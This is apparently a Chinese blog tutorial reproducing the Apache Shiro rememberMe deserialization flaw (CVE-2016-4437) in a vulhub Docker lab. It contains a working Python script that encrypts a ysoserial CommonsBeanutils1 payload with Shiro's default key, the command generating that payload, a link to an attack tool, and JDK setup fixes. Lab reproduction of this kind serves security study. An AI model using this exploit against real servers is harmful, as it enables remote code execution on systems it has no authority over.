shiro反序列化漏洞(CVE-2016-4437)漏洞复现 docker 手工+工具
漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
靶场搭建
cd /vulhub-master/shiro/CVE-2016-4437 docker-compose up -d<br>访问 http: //ip:8080 |
漏洞特征检测
BP抓包发送,返回值存在特征值
漏洞复现
下载反序列化利用工具: ysoserial
https: //jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jarp |
生成playload代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #poc.py import sys import uuid import base64 from Crypto.Cipher import AES def encode_rememberme(): f = open( 'poc.ser' , 'rb' ) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode( "kPH+bIxk5D2deZiIxcaaaA==" ) iv = uuid.uuid4().bytes encryptor = AES. new (key, AES.MODE_CBC, iv) file_body = pad(f.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__' : payload = encode_rememberme() print( "rememberMe={0}" .format(payload.decode())) |
使用ysoserial生成CommonsBeanutils1的Gadget:
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.sery |
运行poc.py生成playload,并将其替换Cookie
进入靶场目录
1 2 3 4 | docker ps docker exec -it 37ec3f93bcf9 /bin/bash cd /tmp ls<br>文件已经生成,漏洞成功复现 |
工具利用
1 | 工具地址:https: //github.com/j1anFen/shiro_attack<br>使用<br>java -jar shiro_attack-2.2.jar |
内存马
遇到的问题:
问题一class ysoserial.payloads.util.Gadgets (in unnamed module @0x4015e7ec) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.
Error while generating or serializing payload
java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets (in unnamed module @0x4015e7ec) cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @0x4015e7ec
at ysoserial.payloads.util.Gadgets.createTemplatesImpl(Gadgets.java:102)
at ysoserial.payloads.CommonsBeanutils1.getObject(CommonsBeanutils1.java:20)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
出现这问题原因是因为jdk版本太高导致的,与上面利用的jar包版本不对应
解决办法下载安装jdk8,并修改默认
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | 查看kali系统版本然后下载对应jdk uname -a 将jdk文件移动到 /usr/local tar -zxf jdk-8u202-linux-x64.tar.gz mv jdk1.8.0_202 /usr/local/ 配置环境变量 vi /etc/profile # 复制下面到文件末尾 注意jdk路径!!! JAVA_HOME=/usr/local/jdk1.8.0_202 PATH=$PATH:$HOME/bin:$JAVA_HOME/bin export JAVA_HOME export PATH 注册安装jdk8,依次执行以下三条命令,遇到提示就再执行一次 update-alternatives --install "/usr/bin/java" "java" "/usr/local/jdk1.8.0_202/bin/java" 1 update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/jdk1.8.0_202/bin/javac" 1 update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/jdk1.8.0_202/bin/javaws" 1 设置默认jdk,遇到提示再执行一次 update-alternatives -- set java /usr/local/jdk1.8.0_202/bin/java update-alternatives -- set javac /usr/local/jdk1.8.0_202/bin/javac update-alternatives -- set javaws /usr/local/jdk1.8.0_202/bin/javaws 载入 /etc/profile source /etc/profile java -version #查看当前默认的jdk版本 javac -version #查看当前jdk编译器版本 |
问题二安装AES加密解密时Crypto总报错
1 | from Crypto.Cipher import AES ModuleNotFoundError: No module named 'Crypto' |
解决方案
1 2 3 4 5 6 7 8 9 10 11 12 | 可能是安装顺序出错 卸载 pip uninstall pycrypto pip uninstall Crypto 安装 pip install pycrypto pip install Crypto 如果安装失败可以尝试下面这个,有可能python3.x版本已经不用上面这个了 pip install pycryptodome pip install Crypto |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构